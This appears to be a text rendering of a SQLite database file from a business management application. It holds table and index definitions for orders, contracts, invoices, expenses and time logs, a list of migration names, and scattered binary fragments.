null, "sync_type" varchar check ("sync_type" in ('one_way', 'two_way')) not null default 'one_way', "environment" varchar check ("environment" in ('Development', 'Production')) not null default 'Production', "status" tinyint(1) not null, "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade) bM'/indexlead_products_product_id_foreignlead_productsCREATE INDEX "lead_products_product_id_foreign" on "lead_products" ("product_id")aG'#indexlead_products_lead_id_foreignlead_productsCREATE INDEX "lead_products_lead_id_foreign" on "lead_products" ("lead_id")`''[tablelead_productslead_productsCREATE TABLE "lead_products" ("id" integer primary key autoincrement not null, "lead_id" integer not null, "product_id" integer not null, "created_at" datetime, "updated_at" datetime, foreign key("lead_id") references "leads"("id") on delete CASCADE on update CASCADE, foreign key("product_id") references "products"("id") on delete CASCADE on update CASCADE)V_!!utableunit_typesunit_typesCREATE TABLE "unit_types" ("id" integer primary key autoincrement not null, "company_id" integer, "unit_type" varchar not null, "default" tinyint(1) not null default '0', "created_at" datetime, "updated_at" datetime, foreign key("company_id") references "companies"("id") on delete cascade on update cascade)3indexIDX_950A973979B1AD6contractsCREATE INDEX IDX_950A973979B1AD6 ON contracts (company_id)uCindexcontracts_client_id_foreigncontractsICREATE INDEX contracts_client_id_foreign ON contracts (client_id)  a!~xE#indexorder_items_order_id_foreignorder_items~CREATE INDEX order_items_order_id_foreign ON order_items (order_id)~I#indexorder_items_product_id_foreignorder_items}CREATE INDEX order_items_product_id_foreign ON order_ite+##tableorder_itemsorder_items|CREATE TABLE order_items (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, order_id INTEGER NOT NULL, product_id INTEGER DEFAULT NULL, item_name VARCHAR(255) NOT NULL, item_summary CLOB DEFAULT NULL, type VARCHAR(255) DEFAULT 'item' NOT NULL, quantity DOUBLE PRECISION NOT NULL, unit_price DOUBLE PRECISION NOT NULL, amount DOUBLE PRECISION NOT NULL, hsn_sac_code VARCHAR(255) DEFAULT NULL, taxes VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, unit_id INTEGER DEFAULT NULL, "sku" varchar, FOREIGN KEY (order_id) REFERENCES orders (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (product_id) REFERENCES products (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)O'indexorders_company_address_id_foreignordersCREATE INDEX orders_company_address_id_foreign ON orders (company_address_id)yIindexorders_last_updated_by_foreignordersCREATE INDEX orders_last_updated_by_foreign ON orders (last_updated_by)c ;indexorders_added_by_foreignordersCREATE INDEX orders_added_by_foreign ON orders (added_by)m A indexorders_currency_id_foreignordersCREATE INDEX orders_currency_id_foreign ON orders (currency_id)g =indexorders_client_id_foreignordersCREATE INDEX orders_client_id_foreign ON orders (client_id)_ 5}indexIDX_E52FFDEE979B1AD6ordersCREATE INDEX IDX_E52FFDEE979B1AD6 ON orders (company_id)ItableordersordersCREATE TABLE orders (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, client_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, company_address_id INTEGER DEFAULT NULL, order_date DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION DEFAULT '0' NOT NULL, discount_type VARCHAR(255) DEFAULT 'percent' NOT NULL, total DOUBLE PRECIN utableordersordersCREATE TABLE orders (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, client_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, company_address_id INTEGER DEFAULT NULL, order_date DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION DEFAULT '0' NOT NULL, discount_type VARCHAR(255) DEFAULT 'percent' NOT NULL, total DOUBLE PRECISION NOT NULL, status VARCHAR(255) DEFAULT 'pending' NOT NULL, show_shipping_address VARCHAR(255) DEFAULT 'no' NOT NULL, note VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, order_number VARCHAR(191) DEFAULT NULL, custom_order_number VARCHAR(255) DEFAULT NULL, original_order_number VARCHAR(255) DEFAULT NULL, "project_id" integer, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (client_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (company_address_id) REFERENCES company_addresses (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)      H 5guj yGindexcontracts_currency_id_foreigncontractsCREATE INDEX contracts_currency_id_foreign ON contracts (currency_id)O'indexcontracts_last_updated_by_foreigncontractsICREATE INDEX contracts_last_updated_by_foreign ON contracts (last_updayGindexcontracts_currency_id_foreigncontractsCREATE INDEX contracts_currency_id_foreign ON contracts (currency_id)O'indexcontracts_last_updated_by_foreigncontractsICREATE INDEX contracts_last_updated_by_foreign ON contracts (last_updated_by)rCindexcontracts_client_id_foreigncontractsFCREATE INDEX contracts_client_id_foreign ON contracts (client_id)c3indexIDX_950A973979B1AD6contractsECREATE INDEX IDX_950A973979B1AD6 ON contracts (company_id)dtablecontractscontractsCCREATE TABLE contracts (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, client_id INTEGER NOT NULL, contract_type_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, subject VARCHAR(255) NOT NULL, amount VARCHAR(255) NOT NULL, original_amount NUMERIC(10, 0) NOT NULL, start_date DATE NOT NULL, original_start_date DATE NOT NULL, end_date DATE DEFAULT NULL, original_end_date DATE DEFAULT NULL, description CLOB DEFAULT NULL, contract_name VARCHAR(255) DEFAULT NULL, alternate_address VARCHAR(255) DEFAULT NULL, cell VARCHAR(255) DEFAULT NULL, office VARCHAR(255) DEFAULT NULL, city VARCHAR(255) DEFAULT NULL, state VARCHAR(255) DEFAULT NULL, country VARCHAR(255) DEFAULT NULL, postal_code VARCHAR(255) DEFAULT NULL, contract_detail CLOB DEFAULT NULL, hash CLOB DEFAULT NULL, event_id CLOB DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, contract_note CLOB DEFAULT NULL, project_id INTEGER DEFAULT NULL, company_sign VARCHAR(255) DEFAULT NULL, sign_date DATETIME DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (client_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (contract_type_id) REFERENCES contract_types (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE)v5/indexIDX_4C0E8AA6979B1AD6project_time_logsCREATE INDEX IDX_4C0E8AA6979B1AD6 ON project_time_logs (company_id)U/3indexproject_time_logs_project_id_foreignproject_time_logsCREATE INDEX project_time_logs_project_id_foreign ON project_time_logs (project_id) O/'indexproject_time_logs_task_id_foreignproject_time_logsCREATE INDEX project_time_logs_task_id_foreign ON project_time_logs (task_id)*O/'indexproject_time_logs_user_id_oA indexcontracts_added_by_foreigncontractsHCREATE INDEX contracts_added_by_foreign ON contracts (added_by)Q+indexcontracts_contract_type_id_foreigncontractsGCREATE INDEX contracts_contract_type_id_foreign ON contracts (contract_type_id)      C`)~A _ & X  I  Z  t F{L\,v5P%N g2S'CS 2023_03_17_045842_lead_custom_fieldHB 2023_03_16_105629_add_manage_ticket_group_field_in_permission_table4Am 2023_02_27_081104_add_column_in_leave_type_table5@o 2023_02_17_052112_add_permissions_for_lead_report;?{ 2023_02_15_121548_add_data_in_ticket_custom_forms_table.>a 2023_02_15_045950_add_unit_id_orders_table9=w 2023_02_13_045833_add_report_column_in_log_time_table3<k 2023_02_09_083357_create_passprt_and_visa_table7;s 2023_02_07_122807_create_quick_books_settings_table0:e 2023_02_04_064358_create_lead_products_table69q 2023_02_01_085841_add_company_sign_contracts_tableB8 2023_01_31_072924_add_settings_to_email_notification_settings;7{ 2023_01_23_122023_add_column_in_invoice_recurring_table-6_ 2023_01_20_052539_create_unit_types_table55o 2023_01_09_162235_create_estimate_templates_table24i 2023_01_05_084453_add_column_in_log_time_table)3W 2022_12_30_090615_move_google_map_keyE2 2022_12_30_045028_add_number_separator_to_invoice_settings_table01e 2022_12_29_084526_create_subscriptions_table10g 2022_12_29_061634_add_column_in_invoice_table7/s 2022_12_28_112213_add_new_fields_in_companies_table?. 2022_12_13_112213_add_new_fields_in_employee_details_table?- 2022_12_13_071454_add_currency_id_in_currency_format_table2,i 2022_12_12_113800_add_wasabi_hash_test_payfast?+ 2022_12_05_062331_create_emoji_address_ticket_widget_table.*a 2022_12_01_070705_create_leave_files_table4)m 2022_11_25_083742_add_company_id_for_null_values,(] 2022_11_23_070556_show_new_webhook_alert:'y 2022_11_16_122431_add_contract_note_to_contracts_tableN& 2022_11_03_115958_add_auto_clock_in_location_to_attendance_settings_table-%_ 2022_10_31_130459_order_with_order_number8$u 2022_10_09_155207_add_custom_year_to_companies_table@# 2022_09_23_181722_add_approve_reason_column_to_leaves_tableM" 2022_09_23_053942_update_type_of_hsn_sac_code_to_proposal_template_items=! 2022_09_20_045836_add_bank_account_module_in_module_tableC  2022_09_19_124014_add_delete_approve_leave_in_permission_tableH 2022_09_16_105720_update_permission_of_client_and_employee_document^? 2022_09_16_071005_add_headcount_and_joining_vs_attrition_widget_in_dashboard_widget_table1g 2022_09_13_075642_create_leave_settings_table6q 2022_09_13_075642_add_customised_permission_column;{ 2022_09_07_172743_add_lead_status_column_to_permissions<} 2022_09_05_064405_add_miro_board_column_in_project_table(U 2022_09_02_151515_create_flags_table2i 2022_09_01_083053_create_global_settings_table0e 2022_09_01_060824_create_appreciations_table1g 2022_09_01_000000_add_company_id_in_all_table*Y 2022_09_00_000000_create_company_table@ 2022_08_29_103443_add_flag_code_column_to_language_settings6q 2022_08_29_064339_add_added_by_to_project_template<} 2022_08_26_053139_add_parent_id_column_designation_tableU- 2022_08_26_042542_remove_on_delete_cascade_from_invoice_recurring_id_to_invoicesK 2022_08_25_123713_add_work_from_home_widget_in_dashboard_widgets_table= 2022_08_25_085025_add_other_location_to_attendances_table@ 2022_08_24_122345_add_lead_widget_in_dashboard_widget_table7 s 2022_08_23_065943_change_status_type_projects_table/ c 2022_08_22_104028_knowledge_heading_missing: y 2022_08_19_115209_create_project_status_settings_tableA  2022_08_19_100314_add_leave_widget_in_dashboard_widget_table0 e 2022_08_18_120924_create_task_settings_table;{ 2022_08_13_070443_add_task_unique_id_column_tasks_table<} 2022_08_12_000000_create_other_migration_till_date_table.a 2022_08_03_101616_create_event_files_table;{ 2022_07_28_043824_add_export_column_custom_fields_table5o 2022_07_22_042424_create_proposal_templates_table(U 2022_07_14_063826_contract_templatesB 2022_07_04_111754_add_project_short_code_column_project_table0e 2018_01_01_000000_create_worksuite_new_table B;^0  I  T  ] 4 H  k A p7Zf4]1Q^%j6 &Q 2024_04_15_112542_password_encrypt*Y 2024_04_15_112542_add_location_details1g 2024_03_29_054907_add_webhook_secret_razorpay? 2024_03_22_125152_add_columns_to_attendance_settings_table)W 2024_03_22_104517_create_qrcode_tableJ 2024_03_18_041113_add_owned_permission_to_edit_delete_sub_tasks_table7s 2024_03_12_065738_add_columns_fix_to_holidays_table1~g 2024_03_08_091320_create_deal_histories_table/}c 2024_03_07_100454_add_column_in_users_table*|Y 2024_03_05_213519_update_users_headers-{_ 2024_02_19_062223_create_deal_notes_table2zi 2024_02_14_094339_employee_leave_quota_changes7ys 2024_02_13_094338_add_soft_delete_table_leave_types,x] 2024_02_07_213519_update_users_header_ip4wm 2024_02_07_213519_update_user_lead_board_settingAv 2024_02_04_074746_add_column_host_and_status_in_events_table*uY 2024_02_02_213519_update_deal_followup2ti 2024_02_02_114946_lead-files_changes_for_dealsBs 2024_02_02_082817_add_column_tax_name_in_client_details_table"rI 2024_01_29_052114_lead_changes9qw 2024_01_24_105920_add_column_sku_in_order_items_table0pe 2024_01_11_113519_update_marital_status_enumHo 2023_12_29_110515_add_view_project_orders_field_in_permission_table8nu 2023_12_26_102738_add_project_column_in_orders_table/mc 2023_12_19_091940_purchase_on_setting_table=l 2023_12_19_091940_change_column_type_in_order_items_table0ke 2023_12_05_062223_create_lead_contract_tableFj 2023_12_04_113645_add_other_information_to_invoice_settings_table0ie 2023_11_27_081917_add_email_verified_setting/hc 2023_11_23_065925_alter_sign_date_contracts7gs 2023_11_21_112750_add_permissions_for_leave_reportsY;indexexpenses_expenses_recurring_id_foreignexpensesCREATE INDEX expenses_expenses_recurring_id_foreign ON expenses (expenses_recurring_id)u=Eindexexpenses_category_id_foreignexpensesCREATE INDEX expenses_category_id_foreign ON expenses (category_id)i<=indexexpenses_user_id_foreignexpensesCREATE INDEX expenses_user_id_foreign ON expenses (user_id)d:5indexIDX_2496F35B979B1AD6expensesCREATE INDEX IDX_2496F35B979B1AD6 ON expenses (company_id)t99tableexpensesexpensesCREATE TABLE expenses (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, currency_id INTEGER NOT NULL, user_id INTEGER NOT NULL, category_id INTEGER DEFAULT NULL, expenses_recurring_id INTEGER DEFAULT NULL, created_by INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, approver_id INTEGER DEFAULT NULL, item_name VARCHAR(255) NOT NULL, purchase_date DATE NOT NULL, purchase_from VARCHAR(255) DEFAULT NULL, price DOUBLE PRECISION NOT NULL, project_id INTEGER DEFAULT NULL, bill VARCHAR(255) DEFAULT NULL, status VARCHAR(255) DEFAULT 'pending' NOT NULL, can_claim BOOLEAN DEFAULT 1 NOT NULL, description CLOB DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, bank_account_id INTEGER DEFAULT NULL, default_currency_id INTEGER DEFAULT NULL, exchange_rate DOUBLE PRECISION DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (approver_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (category_id) REFERENCES expenses_category (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (created_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE NO ACTION NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (expenses_recurring_id) REFERENCES expenses_recurring (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (user_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)81;/indexIDX_88AE64CB337362estimate_template_itemsCREATE INDEX IDX_88AE64CB337362 ON estimate_template_items (estimate_template_id) 3;iu;Eindexexpenses_currency_id_foreignexpensesCREATE INDEX expenses_currency_id_foreign ON expenses (currency_id)      B > ::::D DxMGindexestimates_currency_id_foreignestimatesCREATE INDEX estimates_currency_ioLA indexestimates_added_by_foreignestimatesCREATE INDEX estimates_added_by_foreign ON estimates (added_by)KO'indexestimates_last_updated_by_foreignestimatesCREATE INDEX estimates_last_updated_by_foreign ON estimates (last_updated_by)+Jcaindexestimates_estimate_number_company_id_uniqueestimatesCREATE UNIQUE INDEX estimates_estimate_number_company_id_unique ON estimates (estimate_number, company_id)rI3tableestimatesestimatesCREATE TABLE estimates (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, client_id INTEGER NOT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, estimate_number VARCHAR(191) DEFAULT NULL, valid_till DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION DEFAULT '0' NOT NULL, discount_type VARCHAR(255) DEFAULT 'percent' NOT NULL, total DOUBLE PRECISION NOT NULL, status VARCHAR(255) DEFAULT 'waiting' NOT NULL, note CLOB DEFAULT NULL, description CLOB DEFAULT NULL, send_status BOOLEAN DEFAULT 1 NOT NULL, hash CLOB DEFAULT NULL, calculate_tax VARCHAR(255) DEFAULT 'after_discount' NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, last_viewed DATETIME DEFAULT NULL, ip_address VARCHAR(255) DEFAULT NULL, "original_estimate_number" varchar, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (client_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET)l!!tabletask_notestask_notesGCREATE TABLE task_notes (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, task_id INTEGER NOT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, user_id INTEGER DEFAULT NULL, note CLOB DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (task_id) REFERENCES tasks (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)}kG'indextask_comments_user_id_foreigntask_comments6CREATE INDEX task_comments_user_id_foreign ON task_comments (user_id)}jG'indextask_comments_task_id_foreigntask_comments5CREATE INDEX task_comments_task_id_foreign ON task_comments (task_id)iI'indextask_comments_added_by_foreigntask_comments4CREATE INDEX task_comments_added_by_foreign ON task_comments (added_by)hW'7indextask_comments_last_updated_by_foreigntask_comments3CREATE INDEX task_comments_last_updated_by_foreign ON task_comments (last_updated_by)!g''tabletask_commentstask_comments2CREATE TABLE task_comments (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, user_id INTEGER NOT NULL, task_id INTEGER NOT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, comment CLOB NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (task_id) REFERENCES tasks (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (user_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE) O F{Ejzqqv5/indexIDX_4C0E8AA6979B1AD6project_time_logsCREATE INDEX IDX_4C0E8AA6979B1AD6 ON project_time_logs (company_id)U/3indexproject_time_logs_project_id_foreignproject_time_logsCREATE INDEX project_time_logs_project_id_foreign ON project_time_logs (project_id) O/'indexproject_time_logs_task_id_foreignproject_time_logsCREATE INDEX project_time_logs_task_id_foreign ON project_time_logs (task_id) ~O/'indexproject_time_logs_user_id_foreignproject_time_logsCREATE INDEX project_time_logs_user_id_foreign ON project_time_logs (user_id)} ~O/'indexproject_time_logs_user_id_foreignproject_time_logsCREATE INDEX project_time_logs_user_id_foreign ON project_time_logs (user_id) |M/'indexproject_time_logs_end_time_indexproject_time_logsCREATE INDEX project_time_logs_end_time_index ON project_time_logs (end_time)"{]/Cindexproject_time_logs_edited_by_user_foreignproject_time_logsCREATE INDEX project_time_logs_edited_by_user_foreign ON project_time_logs (edited_by_user)zW/7indexproject_time_logs_approved_by_foreignproject_time_logsCREATE INDEX project_time_logs_approved_by_foreign ON project_time_logs (approved_by)yU/3indexproject_time_logs_invoice_id_foreignproject_time_logsCREATE INDEX project_time_logs_invoice_id_foreign ON project_time_logs (invoice_id)xQ/+indexproject_time_logs_added_by_foreignproject_time_logsCREATE INDEX project_time_logs_added_by_foreign ON project_time_logs (added_by)%w_/Gindexproject_time_logs_last_updated_by_foreignproject_time_logsCREATE INDEX project_time_logs_last_updated_by_foreign ON project_time_logs (last_updated_by)\v//etableproject_time_logsproject_time_logsCREATE TABLE project_time_logs (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, project_id INTEGER DEFAULT NULL, task_id INTEGER DEFAULT NULL, user_id INTEGER NOT NULL, edited_by_user INTEGER DEFAULT NULL, approved_by INTEGER DEFAULT NULL, invoice_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, start_time DATETIME NOT NULL, end_time DATETIME DEFAULT NULL, memo CLOB DEFAULT NULL, total_hours VARCHAR(255) DEFAULT NULL, total_minutes VARCHAR(255) DEFAULT NULL, hourly_rate INTEGER NOT NULL, earnings INTEGER NOT NULL, approved BOOLEAN DEFAULT 1 NOT NULL, total_break_minutes VARCHAR(255) DEFAULT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (approved_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (edited_by_user) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (invoice_id) REFERENCES invoices (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (project_id) REFERENCES projects (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (task_id) REFERENCES tasks (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (user_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)c3Oindexinvoice_ite}Q//indexproject_time_logs_start_time_indexproject_time_logsCREATE INDEX project_time_logs_start_time_index ON project_time_logs (start_time)   yypU%3indexcredit_notes_last_updated_by_foreigncredit_notesCREATE INDEX credit_notes_last_updated_by_foreign ON credit_notes (last_updated_by){G%indexcredit_notes_added_by_foreigncredit_notesyCREATE INDEX credit_notes_added_by_foreign ON credit_notes (added_by)M%#indexcredit_notes_currency_id_foreigncredit_notesxCREATE INDEX credit_notes_currency_id_foreign ON credit_notes (currency_id)~I%indexcredit_notes_client_id_foreigncredit_noteswCREATE INDEX credit_notes_client_id_foreign ON credit_notes (client_id)K%indexcredit_notes_project_id_foreigncredit_notesvCREATE INDEX credit_notes_project_id_foreign ON credit_notes (project_id)k5% indexIDX_59742822979B1AD6credit_notesuCREATE INDEX IDX_59742822979B1AD6 ON credit_notes (company_id)x%%3tablecredit_notescredit_notessCREATE TABLE credit_notes (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, project_id INTEGER DEFAULT NULL, client_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, cn_number VARCHAR(255) NOT NULL, invoice_id INTEGER DEFAULT NULL, issue_date DATE NOT NULL, due_date DATE NOT NULL, discount DOUBLE PRECISION DEFAULT '0' NOT NULL, discount_type VARCHAR(255) DEFAULT 'percent' NOT NULL, sub_total DOUBLE PRECISION NOT NULL, total DOUBLE PRECISION NOT NULL, adjustment_amount DOUBLE PRECISION DEFAULT NULL, status VARCHAR(255) DEFAULT 'open' NOT NULL, recurring VARCHAR(255) DEFAULT 'no' NOT NULL, billing_frequency VARCHAR(255) DEFAULT NULL, billing_interval INTEGER DEFAULT NULL, billing_cycle INTEGER DEFAULT NULL, file VARCHAR(255) DEFAULT NULL, file_original_name VARCHAR(255) DEFAULT NULL, note CLOB DEFAULT NULL, deleted_at DATETIME DEFAULT NULL, calculate_tax VARCHAR(255) DEFAULT 'after_discount' NOT NULL, created_at DATETIME DEFAULT NULL, updated_at DATETIME DEFAULT NULL, original_credit_note_number VARCHAR(255) DEFAULT NULL, FOREIGN KEY (company_id) REFERENCES companies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (added_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (client_id) REFERENCES users (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (currency_id) REFERENCES currencies (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (last_updated_by) REFERENCES users (id) ON UPDATE CASCADE ON DELETE SET NULL NOT DEFERRABLE INITIALLY IMMEDIATE, FOREIGN KEY (project_id) REFERENCES projects (id) ON UPDATE CASCADE ON DELETE CASCADE NOT DEFERRABLE INITIALLY IMMEDIATE)xE#indexorder_items_order_id_foreignorder_items~CREATE INDEX order_items_order_id_foreign ON order_items (order_id)~I#indexorder_items_product_id_foreignorder_items}CREATE INDEX order_items_product_id_foreign ON order_items (product_id) 7Vl?indexinvoices_order_id_foreigninvoicesCREATE INDEX invoices_order_id_foreign ON invoices (order_id)oA indexinvoices_client_id_foreigninvoices CREATE INDEX invoices_client_id_foreign ON invoices (client_id)rCindexinvoices_project_id_foreigninvoices CREATE INDEX invoices_project_id_foreign ON invoices (project_id)d5indexIDX_6A2F2F95979B1AD6invoices CREATE INDEX IDX_6A2F2F95979B1AD6 ON invoices (company_id)I+indexinvoices_transaction_id_uniqueinvoices CREATE UNIQUE INDEX invoices_transaction_id_unique ON invoices (transaction_id)btableinvoicesinvoicesCREATE TABLE invoices (id INTEGER PRIMARY KEY AUTOINCREMENT NOT NULL, company_id INTEGER DEFAULT NULL, project_id INTEGER DEFAULT NULL, client_id INTEGER DEFAULT NULL, order_id INTEGER DEFAULT NULL, currency_id INTEGER DEFAULT NULL, estimate_id INTEGER DEFAULT NULL, parent_id INTEGER DEFAULT NULL, invoice_recurring_id INTEGER DEFAULT NULL, created_by INTEGER DEFAULT NULL, added_by INTEGER DEFAULT NULL, last_updated_by INTEGER DEFAULT NULL, company_address_id INTEGER DEFAULT NULL, invoice_number VARCHAR(191) NOT NULL, issue_date DATE NOT NULL, due_date DATE NOT NULL, sub_total DOUBLE PRECISION NOT NULL, discount DOUBLE PRECISION DEFAULT '0' NOT NULL, discount_type VARCHAR(255) 